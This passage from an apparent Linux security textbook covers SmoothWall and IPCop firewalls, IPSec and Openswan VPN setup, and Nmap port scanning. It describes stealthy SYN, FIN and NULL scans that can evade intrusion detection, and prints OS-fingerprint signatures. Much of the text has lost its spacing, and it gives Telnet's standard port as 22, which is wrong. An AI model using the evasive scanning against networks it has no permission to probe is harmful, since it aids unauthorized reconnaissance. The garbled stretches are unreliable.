Set several passwords for different levels and methods of access. The root password is accessiblefromtheconsoleandcommandlineinterface,andactsjustlikeUNIXroot,inthat youhavetotalcontroloverthebox.Assignapasswordforthesetupuseraccount.Thisuser canalsoaccessthesystemfromtheconsoleandcommandline.Thisuserhasmorelimited powersthanroot,andcanonlyrunthesetuputilityprogram. Setupawebinterfaceuseraccount.ThisisnotaUNIXtypeaccount,andcannotbeaccessed fromthecommandline.Itisstrictlyusedtocontrolaccesstofeaturesfromthewebinterface. Rebootthemachine.TheSmoothWallfirewallshouldnowbeoperational.Logintothemachine fromtheconsole;useeithertherootorthesetupuser.YoucanalsoSSHintotheboxfroma remote location, and get the command line interface. A powerful and easytouse GUI, accessiblefromanywebbrowser,makesfirewalladministrationrelativelyhasslefree. AdministeringtheSmoothWallFirewall ThebestwaytomanagetheSmoothWallfirewallisviathewebinterface.Thispowerfultool administersandaddsotherfunctionstoit.Accesstheinterfaceintwoways:viaport81for normalwebcommunication;orviaport441forsecurewebcommunication,usingSSL.Either way,writetheIPaddressorURLwiththeportnumberinawebbrowserslocationwindow. If,forexample,yourfirewallLANinterfacecardsIPaddressis192.168.1.1,typethefollowing fornormalWebcommunication: http://192.168.1.1:81/ ForsecureWebaccess,type: https://192.168.1.1:441/ ThiswilldisplaySmoothWallsopeningscreen.Accessanyoftheotherscreensyouneedto enteryourusernameandpassword.Thedefaultusernameisadmin,andthepasswordisthe oneyouenteredforthewebinterfaceduringthesetupprocess. Accessseveralmainmenusfromthemainpage.Eachmenuhasanumberofsubmenus underit: 70

Control:Thefirewallshomepagecontainscopyrightanduptimeinformation. About:Anumberofusefulsubmenus. Status:ThestatusofvariousSmoothWallservices. Advanced:Detailedinformationaboutyoursystem. Graphs:Createbandwidthgraphstoanalyzenetworktrafficondifferentinterfacesduring differenttimesoftheday,andondifferentdays.Quicklylocatenetworkproblems.Huge bandwidthincreasesovertheweekend,orlateatnight,withoutanyknownreason,probably indicatethatsomethingiswrong. Services:ConfigurevariousbasicandoptionalservicesonSmoothWall. WebProxy:SetupSmoothWalltoactasaproxyforanyonesurfingtheWeb. DHCP:ConfigurethebuiltinDHCPserver. DynamicDNS:IfyourISPassignsyouadynamicIPaddress,butyoustillwanttoallow servicesinfromtheoutside,setupSmoothWalltoautomaticallyupdateaDNSrecordwithits newIPaddress.Configureittouseanyoneofseveralonlineservices,suchasdyndns.organd dhs.org. RemoteAccess:ControlaccesstoSmoothWallfromanywhere,excepttheconsole.Enable SSH(itisdisabledbydefault),andcontrolwhichspecificaddressescangetaccess. Time:Configurethemachinestimesettings.Thiscanbeveryimportantifyouarecomparing itslogfileswiththatofotherservers.Setituptogettimefromapublictimeserver,which makeslogsmoreaccurate. Networking:ConfigureanythingassociatedwithSmoothWallanditsnetworkfunctions.Add, delete,ormodifyrulesets,etc. VPN:ConfigureSmoothWalltoactasaVPNforsecureremoteaccessfromanothernetwork. 71

Logs:AccessSmoothWallslogfiles.Scandifferenttypesoflogfiles,suchassystemand securityfiles. Tools:Severalstandardnetworktoolsincludeping,traceroute,andwhois.AJavabasedSSH clientaccessesSSHserversfromyourwebbrowser. Maintenance:Thissectionisusedforsystemmaintenanceactivity,andhasseveralsub menus.

IPCop
IPCopisafirewalldevelopedonSmoothWallscore.IPCopssystemrequirements,installation andconfigurationaresimilartothatofSmoothWall.IPCopalsodedicatesthewholesystemto itsfirewall,anditwipesoffallthedatafromyourharddisktoinstallit. IPCopssalientfeaturesinclude: Asecure,stableandhighlycongurableLinuxbasedrewall. Easyadministrationthroughthebuiltinwebserver. ADHCPclientallowsIPCoptooptionallyobtainitsIPaddressfromyourISP. ADHCPserverconguresmachinesonyourinternalnetwork. AcachingDNSproxyspeedsupdomainnamequeries. Awebcachingproxyspeedsupwebaccess. Anintrusiondetectionsystemdetectsexternalattacksonyournetwork. PartitionsyournetworkintoaGREEN,safenetworkprotectedfromtheInternet;aBLUE networkforyourwireless LAN,and aDMZorORANGEnetworkcontainingpublicly accessibleservers,partiallyprotectedfromtheInternet.

72

AVPNconnectsyourinternalnetworktoanothernetworkacrosstheInternet,forminga single,logicalnetwork.SecurelyconnectPCsonyourBLUE,wireless,networktothe wired,GREENnetwork. Trafcshapingcapabilitiesgivethehighestprioritytointeractiveservices,suchasSSH andTelnet;highprioritytowebbrowsing,andlowerprioritytobulkservices,suchas FTP. ImprovedVPNsupportwithx509certicates. Achoiceoffourkernelcongurations.Chooseanoptimumcongurationbasedonyour requirements.

Ipcoprequirements,installationandconfigurationsarealmostsimilarlikesmoothwall.Ipcop alsodedicatethewholesystemtofirewallanditalsowipesoffallthedatafromyourharddisk.

73

Open Source Virtual Private Networks (VPNs)


Virtual Private Networks (VPNs) securely access resources on a network from untrusted points on the Internet. There are various VPN solutions. Those available on Linux are discussed below.

IPSec-based VPNs
IPSec: An Overview
IP Security Protocol (IPSec) refers to a set of mechanisms designed to protect the traffic at the IP level (IPv4 or IPv6). IPSecs security services include connectionless integrity, data origin authentication, protection against replays and confidentiality (data confidentiality and partial protection against traffic analysis). These services are provided at the IP layer, thus offering protection for IP and all upper layer protocols. Exchanges on TCP networks can be secured in multiple ways. Approaches vary according to the layer at which they take place: Application layer (encrypted mails) Transport layer (TLS/SSL, SSH, etc.) Physical layer (black boxes encrypting all the data going through a given link).

IPSec aims to secure the exchanges at the network layer. IPSec uses two types of security mechanisms: Encapsulating Security Payload (ESP) and Authentication Header (AH).

IP Encapsulating Security Payload (ESP)


The IP Encapsulating Security Payload (ESP) provides integrity and privacy. It can also be used with an optional ESP authentication field or with an IP authentication header to provide authentication. Integrity and Privacy The IP Encapsulating Security Payload takes the data carried by IP, such as a TCP packet, encrypts it using a symmetric key, and encapsulates it with header information so that the receiving IPSec entity can decrypt it. 74

Transport and Tunnel Modes The IPSec headers (AH and ESP) can be used in transport mode or tunnel mode. In transport mode, the original IP header is followed by the AH or ESP header. If ESP is used in transport mode, only the upper-layer (e.g., TCP, UDP, IGMP) is encrypted. The IP header is not encrypted. In tunnel mode, the original IP datagram, including the original IP header, is enclosed, or encapsulated within a second IP datagram. If ESP is used in tunnel mode, the original IP datagram, including the original header, is encrypted. If ESP is used in tunnel mode on gateways, the outer, unencrypted IP header will contain the IP addresses of the gateways, and the inner, encrypted IP header will contain the ultimate IP source and destination addresses. This prevents eavesdroppers from analyzing the network traffic between the ultimate source and destination addresses. Figure 3.1 IP Encapsulating Security Payload (ESP)

Figure 3.1 Authentication When ESP is used with an optional ESP authentication field, an authentication value is calculated for the encrypted data using a symmetric key and appended to the end of the packet. The recipient computes its own authentication value using the same shared secret key and the encrypted data. It then compares the result with the transmitted authentication value. If it matches, the recipient is assured that the sender knows the same secret key, confirming the senders identity. The recipient is also assured that the data was not altered during transit. Figure 3.2IP ESP with Authe ntication

75

Figure 3.2

IP Authentication Header (AH)


An IP Authentication Header (AH) provides integrity and authentication but no privacy - the IP data is not encrypted. The AH contains an authentication value based on a symmetric-key hash algorithm. All of the fields in the IP datagram which are not mutable (i.e., do not change in transit) are used to calculate the authentication value; this includes the IP header as well as other headers and the user data. IP fields or options that need to change in transit, such as "hop count," and "time to live," are assigned a zero value to calculate the authentication value.

Figure 3.3

Key management for IPSec: ISAKMP and IKE


The Internet Security Association and Key Management Protoc ISAKMP ol The Internet Security Association and Key Management Protocol (ISAKMP) defines procedures and packet formats to establish, negotiate, modify and delete Security 76

Associations (SAs). SAs contain all the information required to execute various network security services, such as the IP layer services (header authentication and payload encapsulation), transport or application layer services, or self-protection of negotiation traffic. ISAKMP defines payloads for exchanging key generation and authentication data. These formats provide a consistent framework for transferring key and authentication data which is independent of the key generation technique, encryption algorithm and authentication mechanism. ISAKMP is distinct from key exchange protocols in order to clearly distinguish between the details of security association management (and key management) from the details of key exchange. There may be many different key exchange protocols, each with different security properties. However, a common framework is required for agreeing to the format of SA attributes, and for negotiating, modifying, and deleting SAs. ISAKMP serves as this common framework. ISAKMP defines a framework to negotiate security associations, but it does not impose anything about the parameters that compose them. A document, called Domain of Interpretation (DOI) must define the negotiated parameters and the conventions to use ISAKMP within a specific framework. A DOI identifier is used to interpret the content of the ISAKMP messages. ISAKMP has two phases, which allows for a clear distinction between ISAKMP traffic protection and SA negotiation for a given protocol:

During the first phase, a set of security-related attributes is negotiated, the identities of the peers are authenticated and some keys are generated. These elements constitute a first security association, known as the ISAKMP SA. Contrary to IPsec SAs, an ISAKMP SA is bi-directional. It will be used to secure all the following ISAKMP exchanges. The second phase is used to negotiate the security parameters related to a SA to establish a given security mechanism (AH or ESP). The exchanges from this phase are protected (confidentiality, authenticity, etc.) thanks to the ISAKMP SA. The ISAKMP SA can, of course, be used to negotiate several phase 2 SAs.

The ISAKMP SA parameters can be specific to ISAKMP only, or they can contain some elements specific to a given security protocol and defined in the corresponding DOI. In the first case, the security association is said to be a generic ISAKMP SA, and it can be used to negotiate SAs for any security protocol. In the second case, the ISAKMP SA can only be used to negotiate SAs which depend on the same DOI.

77

Internet Key Exchange (IKE)


Internet Key Exchange (IKE) is a protocol developed specifically for IPSec which aims at providing authentication and key exchange mechanisms adapted to most of the situations which can occur on the Internet.t is composed of several elements: ISAKMP and parts of the Oakley and SKEME protocols. IKE uses some of the modes defined by Oakley and borrows SKEME's use of public key encryption for authentication and its method of fast re-keying through nonces exchange. IKE can use any DOI.

IPSec implementation on linux


IPSeccanbeimplementedonlinuxusingopenswan

Installing Openswan
System Requirements

Linux kernel, either 2.0, 2.2, 2.4 or 2.6-based If building from source, libgmp development libraries

Choose Version For Linux 2.0 or 2.2, use Openswan-1.0.10 For Linux Kernels 2.4 and 2.6, use Openswan 2.4.x For FreeBSD, OpenBSD, NetBSD, and OSX, try Openswan-2.5.x Advanced users can try Openswan-3.x.x

There are two basic ways to of installing Openswan: RPM install Install from source

RPM Install RPMs are available with RHEL/Centos and Suse. most RPM-based distributions, such as Fedora,

78

Install from Source Unpack your Openswan source as root. For example, /usr/src: su mv openswan-2.#.#.tar.gz /usr/src cd /usr/src tar -xzf openswan-2.#.#.tar.gz Choose one of the methods given below: Userland-only Install for 2.6 Kernels Change to your new Openswan directory, and make and install the Openswan userland tools: cd /usr/src/openswan-2.#.# make programs make install Start Openswan and test your installation. KLIPS Install for 2.0, 2.2, 2.4 or 2.6 Kernels To make a modular version of KLIPS, use the command sequence given below, along with other Openswan programs you will need. This will change to your new Openswan directory, make the Openswan module, and install everything: cd /usr/src/openswan-2.#.# export KERNELSRC=/usr/src/kernels/linux-2.6.18/ make module make module_install For NAT-T support (NATTraversal), patch your kernel and build a new bzImage. From the Openswan source directory (assumes kernel source is in /usr/src/linux2.4): make nattpatch | (cd /usr/src/linux-2.4 && patch -p1 && make bzImage) cd /usr/src/linux-2.4 make oldconfig [answer yes to NAT-T] make dep [linux < 2.6 only] make bzImage [you must make a new kernel now] make modules modules_install Update your bootloader if neccessary. Start Openswan and test your installation.

79

Start Openswan Bring Openswan up with: service ipsec start Test Install To ensure a successful installation, run: ipsec verify You should at least see: Checking your system to see if IPsec got installed and started correctly Version check and ipsec on-pat h [OK] Checking for KLIPS support in kernel [OK] Checking for RSA private key (/etc/ipsec.secrets) [OK] Checking that pluto is running [OK] Openswan Configuration Openswan can be configured in a simple network-to-network link, or in a Road Warrior connection between two Linux machines. The network-to-network setup allows you to connect two office networks into one Virtual Private Network (VPN). The Road Warrior connection secures a laptop's telecommute in order to work. System Requirements In order to configure the network-to-network connection, you must have: Two Linux gateways Openswan installed on both gateways A network behind each gateway. Networks must have non-overlapping IP ranges One Linux box with a static IP A Linux laptop with a dynamic IP Openswan installed on both tcpdump (optional) on the local gateway, in order to test the connection

The Road Warrior needs:


If both IPs are dynamic, the situation is trickier. The best bet is a variation on the RoadWarrior.

80

Net-to-Net Connection Gather information Compile the following information for each gateway: Gateway IP IP range of the subnet you will be protecting. This does not have to be your whole physical subnet A name by which that gateway can identify itself for IPSec negotiations. Its form is a fully-qualified domain name preceded by an @ sign, i.e., @xy.example.com. It does not need to be within a domain that you own. It can be a made-up name Get your leftrsasigkey Print your IPSec public key on your local Linux Openswan gateway: # ipsec showhostkey --left The output should resemble the following (with the key shortened for easy reading): # RSA 2048 bits xy.example.com Fri Apr 26 15:01:41 2002 leftrsasigkey=0sAQO nwiBPt... Don't have a key? Use ipsec newhostkey to create one. Get your your rightrsasigkey Get a console on the remote side: # ssh ab.example.com Type the following in that window: # ipsec showhostkey --right You will see something like this: # RSA 2192 bits ab.example.com Thu May 16 15:26:20 2002 rightrsasigkey=0sAQOqH55O... Edit /etc/ipsec.conf Back on the local gateway, copy this template to /etc/ipsec.conf. (On Mandrake, /etc/openswan/ipsec.conf). Substitute the information you have gathered for the examples data: conn net-to-net left=192.0.2.2 81 # Local vitals

leftsubnet=172.16.0.0/24 # leftid=@xy.example.com # leftrsasigkey=0s1LgR7/oUM... # leftnexthop=%defaultroute # correct in many situations right=192.0.2.9 # Remote vitals rightsubnet=10.0.0.0/24 # rightid=@ab.example.com # rightrsasigkey=0sAQOqH55O... # rightnexthop=%defaultroute # correct in many situations auto=add # authorizes but doesn't start this # connection at startup "Left" and "right" should represent the machines that have Openswan installed on them, and "leftsubnet" and "rightsubnet" machines that are being protected. /32 is assumed for left/right and left/rightsubnet parameters. Copy conn net-to-net to the remote-side /etc/ipsec.conf. If you have made no other modifications to either ipsec.conf, type: # scp ipsec.conf root@ab.example.com:/etc/ipsec.conf Start Connection Locally, type: # ipsec auto --up net-to-net You should see: 104 106 108 004 112 004 "net-net" #223: "net-net" #223: "net-net" #223: "net-net" #223: "net-net" #224: "net-net" #224: STATE_MAIN_I1: initiate STATE_MAIN_I2: sent MI2, expecting MR2 STATE_MAIN_I3: sent MI3, expecting MR3 STATE_MAIN_I4: ISAKMP SA established STATE_QUICK_I1: initiate STATE_QUICK_I2: sent QI2, IPsec SA established

Test Connection Sit at one of your local subnet nodes *(not the gateway)*, and ping a subnet node on the other *(again, not the gateway)*: $ ping fileserver.toledo.example.com While still pinging, go to the local gateway and snoop your outgoing interface. For example: # tcpdump -i ppp0

82

The objective is to see Encapsulating Security Payload (ESP) packets moving back and forth between the two gateways at the same frequency as your pings: 19:16:32.046220 192.0.2.2 > 192.0.2.9: ESP(spi=0x3be6c4dc,seq=0x3) 19:16:32.085630 192.0.2.9 > 192.0.2.2: ESP(spi=0x5fdd1cf8,seq=0x6) Finishing Touches Now that your connection works, give it a logical name, such as: conn newyork-net-to-washington-net To have the tunnel come up on-boot, replace: auto=add with: auto=start Copy these changes to the other side. For example: # scp ipsec.conf root@ab.example.com:/etc/ipsec.conf Road Warrior Configuration Gather information You will need to know:

The gateway's static IP The IP range of the subnet behind that gateway A name by which that gateway can identify itself for IPSec negotiations. Its form is a fully-qualified domain name preceded by an @ sign, i.e., @xy.example.com. It does not need to be within a domain that you own. It can be a made-up name

Get your leftrsasigkey Print your IPSec public key on your laptop: # ipsec showhostkey --left The output should look like this (with the key shortened for easy reading): # RSA 2192 bits road.example.com Sun Jun 9 02:45:02 2002 leftrsasigkey=0sAQPIPN9 uI... Don't have a key? Use ipsec newhostkey to create one.

83

Get your rightrsasigkey Get a console on the gateway: # ssh xy.example.com View the gateway's public key with: # ipsec showhostkey --right It will yield something like this: # RSA 2048 bits xy.example.com Fri Apr 26 15:01:41 2002 rightrsasigkey=0sAQOnwiBPt... Customize /etc/ipsec. conf On your laptop, copy this template to /etc/ipsec.conf. (On Mandrake, /etc/openswan/ipsec.conf). Substitute the information you have gathered for the examples data: conn road left=%defaultroute # Picks up our dynamic IP leftid=@road.example.com # Local information leftrsasigkey=0sAQPIPN9 uI... # right=192.0.2.10 # Remote informatio n rightsubnet=10.0.0.0/24 # rightid=@xy.example.com # rightrsasigkey=0sAQOnwiBPt... # auto=add # authorizes but doesn't start this # connection at startup The template for the gateway is different. Notice how it reverses left and right, in keeping with the convention, Left is Local, Right Remote. Switch your rsasigkeys in keeping with this rule: ab.example.com$ ssh xy.example.com xy.example.com$ vi /etc/ipsec.conf Add: conn road left=192.0.2.2 # Gateway's information leftid=@xy.example.com # leftsubnet=176.16.0.0/24 # leftrsasigkey=0sAQO nwiBPt... # rightnexthop=%defaultroute # correct in many situations right=%any # Wildcard: we don't know the laptop's IP rightid=@road.example.com # 84

rightrsasigkey=0sAQPIPN 9uI... # auto=add # authorizes but doesn't start this # connection at startup Start Connection Start the connection from the Road Warrior side. On your laptop, type: ipsec auto --up road You should see: 104 106 108 004 112 004 "net-net" #223: STATE_MAIN_I1: initiate "road" #301: STATE_MAIN_I2: sent MI2, expecting MR2 "road" #301: STATE_MAIN_I3: sent MI3, expecting MR3 "road" #301: STATE_MAIN_I4: ISAKMP SA established "road" #302: STATE_QUICK_I1: initiate "road" #302: STATE_QUICK_I2: sent QI2, IPsec SA established

Test Connection Ping a subnet node behind the remote gateway from your laptop. Do not choose the gateway itself for this test: $ ping ns.winston.example.com Snoop the packets exiting the laptop with a command like this: # tcpdump -i wlan0 You have a successful tunnel-up if you see Encapsulating Security Payload (ESP) packets travelling in both directions: 19:16:32.046220 192.0.2.2 > 192.0.2.9: ESP(spi=0x3be6c4dc,seq=0x3) 19:16:32.085630 192.0.2.9 > 192.0.2.2: ESP(spi=0x5fdd1cf8,seq=0x6) If you do see the ESP packets, then traffic between your RoadWarrior and the net behind your gateway is protected. Finishing Touches Name your connection logically on both ends, such as: conn mike-to-office On the laptop only, replace: auto=add

85

with: auto=start so that you will be connected on-boot. Multiple Road Warriors If you are using RSA keys, as illustrated in this example, you can add as many Road Warriors as you like. The left/right ID parameter lets Linux Openswan distinguish between multiple Road Warrior peers, each with its own public key. The situation is different for shared secrets (PSK). During a PSK negotiation, ID information is not available at the time Pluto is trying to determine which secret to use, so, effectively, you can only define one Road Warrior connection. All your PSK Road Warriors must, therefore, share one secret.

86

OpenSourceScanners PortScanners
Port scanners polla set of TCP or UDP ports to see if an application answersback.If it receivesaresponse,thismeansthatsomeapplicationislisteninginonthatportnumber.There are a possible 65,535 TCP ports, and a similar number of ports is available for the UDP protocol.Portscannerscanbeconfiguredtoscanallpossibleports,orjustthemostcommonly usedones(thosebelow1,024),tolookforservers.Agoodreasontoconductacompletescan ofallpossibleportsisthatnetworkawareTrojanhorsesandothermalicioussoftwareoften runsonuncommonportshigherupintherangeinordertoavoiddetection.Also,somevendors donotstickascloselytothestandardsastheyshould,andputserverapplicationsonhighport numbers.Althoughitisatimeconsumingprocess,andeatsupalittlemorebandwidth,afull scanwillcoverallthepossibleplacesthatapplicationscanhide. Portscannerscomeinmanydifferentflavors,fromverycomplexwithlotsofdifferentfeatures, tothosewithminimalfunctionality.Infact,youcanmanuallyperformaportscannersfunctions yourself.UseTelnettodothis,oneportatatime.ConnecttoanIPaddressandaddtheport number: telnet192.168.0.1:80 ThiscommandusesTelnettoconnecttothemachine.Thenumberafterthecolon(onsome implementationsofTelnetyoujustleaveaspacebetweentheIPaddressandtheportnumber) tellsTelnettouseport80toconnect,insteadofthestandardTelnetportof22.Insteadofthe normalTelnetpromptyougetonthedefaultTelnetport,youwillconnecttothewebserver,if oneisrunningonthatmachine.WhenyoupressEnter,youwillgetthefirstresponsefroma web server to a browser. You will see the HTTP header information, which is normally processedbyyourbrowser,andhiddenfromview. Some port scanners also try to identify the operating system on the other end by TCP fingerprinting. Although TCP/IP is a standard for network communications, every vendor implementsitslightlydifferently.Althoughtheydonotnormallyinterferewithcommunications, thesedifferencesshowupintheresponsetheygivetoanystimulus,suchasapingoran attemptedTCPconnection.ThedigitalsignatureofapingresponsefromaWindowssystem 87

looksdifferentfromtheresponsefromaLinuxsystem.Therearedifferencesevenbetween different versions of operating systems. See the listing below for an example of a TCP fingerprintforWindowsME,2000,andXP: WindowsTCPFingerprints #WindowsMillenniumEditionv4.90.300 #Windows2000Professional(x86) #WindowsMeorWindows2000RC1throughfinalrelease #MicrosoftWindows2000AdvancedServer #WindowsXPProfessionalVersion2002onPCIntelProcessor #WindowsXPBuild2600 #Windows2000withSP2andlongfatpipe(RFC1323) #Windows2K5.00.2195ServicePack2andlatesthotfixes #XPProfessional5.1(build2600)AllpatchesuptoJune20,2004 #FingerprintWindowsXPProwithallcurrentupdatestoMay2002 FingerprintWindowsMillenniumEdition(Me),Win2000,orWinXP TSeq(Class=RI%gcd=<6%SI=<23726&>49C%IPID=I%TS=0) T1(DF=Y%W=5B4|14F0|16D0|2EE0|402E|B5C9|B580|C000|D304|FC00|FD20|FD 68|FFFF%ACK=S++%Flags=AS%Ops=NNT|MNWNNT) T2(Resp=Y|N%DF=N%W=0%ACK=S%Flags=AR%Ops=) T3(Resp=Y%DF=Y%W=5B4|14F0|16D0|2EE0|B5C9|B580|C000|402E|D304|FC00| FD20|FD68|FFFF%ACK=S++%Flags=AS%Ops=MNWNNT) T4(DF=N%W=0%ACK=O%Flags=R%Ops=) T5(DF=N%W=0%ACK=S++%Flags=AR%Ops=) T6(DF=N%W=0%ACK=O%Flags=R%Ops=) T7(DF=N%W=0%ACK=S++%Flags=AR%Ops=) PU(DF=N%TOS=0%IPLEN=38%RIPTL=148%RID=E%RIPCK=E|F%UCK=E|F%ULEN=134% DAT=E) TheunintelligiblegibberishatthebottomistheuniquesettingsthatWindowsuseswhenit connectsviaTCP.BycomparingtheTCPresponsereceivedfromamachinetoadatabaseof knownTCPfingerprints,youcanmakeareasonableguessattheoperatingsystemonthe otherend. Thismethodisnotperfect.Sometimestheportscannerprogrammakesawrong assessment because some operating system vendors cannibalize or reuse parts of other systems(UNIXsystemsinparticular)whenbuildingaTCPstack.Thiscausestheportscanner tothinkitistheOSitborrowedtheTCPstackfrom.Therearealsooddoperatingsystems, 88

such as switches, printers, and network appliances, which may not be in the signature database. Ifpeoplearescanningyournetworkwithmaliciousintent,thisprovidesthemwithvaluable information.Knowingtheoperatingsystemandversioncanbeagoodstartingpointtofigure outwhichanglesandexploitstoexplore.Thisisaverygoodreasontoregularlyscanyour networktoseewhichportsareshowingopenonyoursystems.Thenyoucangothroughand closeupunnecessaryports,andlockdownthosethatmuststayopen. Portscanninganetworkisaverynetworkintensiveprocess.Scanningtensofthousandsof portsin asmallamountof timegeneratesalotoftrafficonthenetwork.Ifyourscanning machineisveryfast,anditisscanninganolder10Mbpsnetwork,thiscansignificantlyaffect thenetworksperformance.ItislessofanissueovertheInternetbecausethescanningwillbe limitedbythesizeoftheconnectionsinbetween;youcan,however,stilldegradeabusyweb serversormailserversperformance.Youmighteventakemachinesdowninsomeextreme cases. Whenusingthesetoolsinanyfashion,alwaysensurethatyouhavethepermissionofthe ownerofthehostsyouarescanning.

PortScannersUses
Havingobtainedpermissiontoscan,considerwhyyouwanttoscanyournetwork. NetworkInventory Notsureexactlyhowmanymachinesyouhaverunning?WanttoknowtheIPaddressesofall yourservers?Portsscannersofferaquickwaytoscanarangeofaddressesandfindallthe livemachinesonthatsegment.YoucanevenusetheNlogtool(discussedlaterinthischapter) tologthisintoadatabaseandcreateusefulreports. Network/ServerOptimization Aportscannerwillshowyoualltheservicescurrentlyrunningonamachine.Ifitisaserver machine,itislikelythatmanyprogramsarerunning,butyoumaybeunawarethatsomeof theseservicesarerunning.Theymaynotbeneededforthemachinesprimaryfunctions. 89

FindingSpyware,TrojanHorses,andNetworkWorms Regular web surfers will often pick up little programs from websites that try to track their behaviororsendcustompopupadvertisementstotheircomputer.Theseprogramsareknown asspywarebecausetheyoftentrytotracktheusersactivitiesandmayreportthisdatabackto acentralserver.Theseprogramsareusuallybenign,butasufficientenoughnumberofthem dramaticallyslowdownausersonlineexperience.Also,theyareoftennotwellwritten,and caninterferewith,andcrash,otherprograms.Theycanalsopresentopportunitiesforhackers lookingforweakspots. AnothermaliciousclassofnetworkawaresoftwareonyournetworkistheTrojanhorse.These programsarespecificallydesignedtobreakintonetworks.JustliketheTrojanhorseofGreek lore,theseprogramsallowhackersandcrackersabackdoorintoyournetwork.Trojanhorses canbenotoriouslyhardtotrackdown,evenifyouareusingantivirussoftware.Theydonot alwayssetoffantivirusscanners,andsometimestheonlyevidenceoftheirpresenceisan opennetworkport.Onceinsideacomputer,mostTrojanhorsestrytocommunicateoutwards toinformtheircreatororsenderthattheyhavesuccessfullyinfectedamachineontheseports. Networkwormsareaparticularlymalicioustypeofvirus.Theyareoftennetworkawareand openupportsonthehostcomputer.Networkwormsusethenetworktospread,andsometimes show up on network scans.A port scancan be a valuable backupto antivirus protection againstsuchthreats.

NetworkMapper(NMAP)
Nmap("NetworkMapper")isafreeandopensourceutilityfornetworkexplorationorsecurity auditing.Manysystemsandnetworkadministratorsalsofinditusefulfortaskssuchasnetwork inventory,managingserviceupgradeschedules,andmonitoringhostorserviceuptime.

InstallingNmaponLinux
TocompileNmapfromsource,runthefollowingcommandsfromtheNmapdirectory: ./configure 90

make makeinstall Youmusthaverootprivilegestorunthemakeinstallcommand,sobesureyouchangetoroot beforerunningthefinalcommandbytypingsurootandthenenteringtherootpassword.Itis notagoodideatorunthefirsttwocommandsasrootbecausetheycandamageyoursystemif therearebugsormaliciouscodeintheprograms.Runthissetofcommandsforeachsource file,themainNmapprogram,andtheNmapfrontendprogram,unlessyouonlyintendtouseit viathecommandline. NmapCommandLineOperation RunNmapfromthecommandlineeitherinUNIXorWindows.Thegeneralformatis: nmapparametersiprange with any additional settings replacing parameters. Throughout the rest of this chapter, any settingsoroptionsfortheGUIswillhavetheequivalentcommandlinesettingsinparentheses withthenameoftheoption,forexample,SYN(sS)andBounceScan(nFTP_HOST). NmapScanTypes Nmaprunsmanydifferentkindsofscans: SYN(sS) Thisisthedefaultscanandisgoodformostpurposes.ItisquieterthanaTCPConnectscan;it willnotshowuponmostsimplelogs.ItworksbysendingasingleTCPSYNpackettoeach possibleport.IfitreceivesaSYNACKpacketback,thenNmapknowsthataserviceisrunning there.Ifitdoesnotreceivearesponse,itassumesthattheportisclosed.TheSYNscandoes notcompletethe TCPhandshake by sendinganACKbacktothemachine;asfarasthe scaneeisconcerned,itneverseesavalidconnection.Theremotesystem,however,willhold thishalfsocketopenuntilittimesoutfromnotreceivingaresponse.SomeserversandIDS programs aresmartenoughto catch this now, but the SYNscan willbe invisible to most machines.

91

TCPConnect(sT) ThisworksmuchliketheSYNscan,exceptthatitcompletesthefullTCPhandshake,and makesafullconnection.Thisscanisnoisy,andputsalotmoreloadonthemachinesbeing scanned,aswellasthenetwork.If,however,stealthorbandwidthisnotanissue,thena ConnectscancansometimesbemoreaccuratethantheSYNscan.Also,ifyoudonothave administratororrootprivilegesontheNmapmachine,youwillbeunabletorunanythingexcept aConnectscan,becausetheespeciallycraftedpacketsforotherscansrequirelowlevelOS access. PingSweep(sP) ThisperformsasimplepingofalltheaddressestoseewhichonesareansweringtoICMP.If youarenotworriedaboutwhichservicesarerunning,andwanttoknowwhichIPaddresses areup,thisisalotfasterthanafullportscan.However,somemachinesmaybeconfiguredto notrespondtoaping(machinesrunningtheXPfirewall,forexample)butstillhaveservices runningonthem,soapingsweepisnotasaccurateasafullportscan. UDPScan(sU) ThisscancheckstoseeifanyUDPportsarelistening.SinceUDPdoesnotrespondwitha positiveacknowledgementlikeTCP,andonlyrespondstoanincomingUDPpacketwhenthe portisclosed,thistypeofscancansometimesshowfalsepositives.However,itcanalso revealTrojanhorsesrunningonhighUDPportsandhiddenRPCservices.Itmaybequite slow,sincesomemachinesintentionallyslowdownresponsestothiskindoftrafficinorderto avoidbeingoverwhelmed.MachinesrunningWindowsOS,however,donotimplementthis slowdownfeature,soyoushouldbeabletouseUDPtoscanWindowshostsnormally. FINScan(sF) ThisisastealthyscanliketheSYNscan,butitsendsaTCPFINpacketinstead.Many,butnot all,computerswillsendaRSTpacketbackiftheygetthisinput,sotheFINscancanshow falsepositivesandnegatives,butitmaygetundertheradarofsomeIDSprogramsandother countermeasures. NULLScan(sN) 92

ThisisanotherverystealthyscanthatsetsalltheTCPheaderflagstooffornull.Thisisnot normallyavalidpacket,andsomehostswillnotknowwhattodowiththis.Windowsoperating systemsareinthisgroupandscanningthemwithNULLscanswillproduceunreliableresults. This,however,canbeawaytogetthroughnonWindowsserversprotectedbyafirewall. NmapDiscoveryOptions YoucanalsoadjustthewayNmapdiscoversitsnetwork,anddetermineswhichhostsarealive. Severaldifferentchoicesaregivenbelow: TCP+ICMP(PB) Thisisthedefaultsetting.NmapnormallyusesbothICMPandTCPpacketstodeterminea hostsstatus.Thisisthemostreliableandaccurateway,sinceitusuallygetsaresponsefrom oneofthetwomethodsifsomethingisthere.However,itisalsothenoisiestway,andislikely toendupbeingloggedbysomedeviceonthescannednetwork. TCPPing(PT) ThisusesonlytheTCPmethodtofindhosts.ManyfirewallsandsomerouterswilldropICMP packetsandmayalsologthem.Asfarasstealthisconcerned,thisisyourbestoption.You may,however,endupmissinghostswithsomeofthemoreexoticscantypes(FIN,XMAS, NULL). ICMPPing(PE) This uses only ICMP packets for network discovery. This is not a good choice if you are scanningfromoutside thenetworkfirewall,becausemostofyourpacketswill probablybe dropped.Itis,however,fairlyreliableinsideanetwork,althoughyoumaymissyourfirewalland somenetworkdeviceswhichdonotrespondtoICMP. Don'tPing(P0) Ifyousetthisoption,Nmapwillnotattempttolearnwhichhostsareupfirst,andwillsendits packetstoeveryIPinthespecifiedrangeinstead,evenifthereisnomachinebehindthem. 93

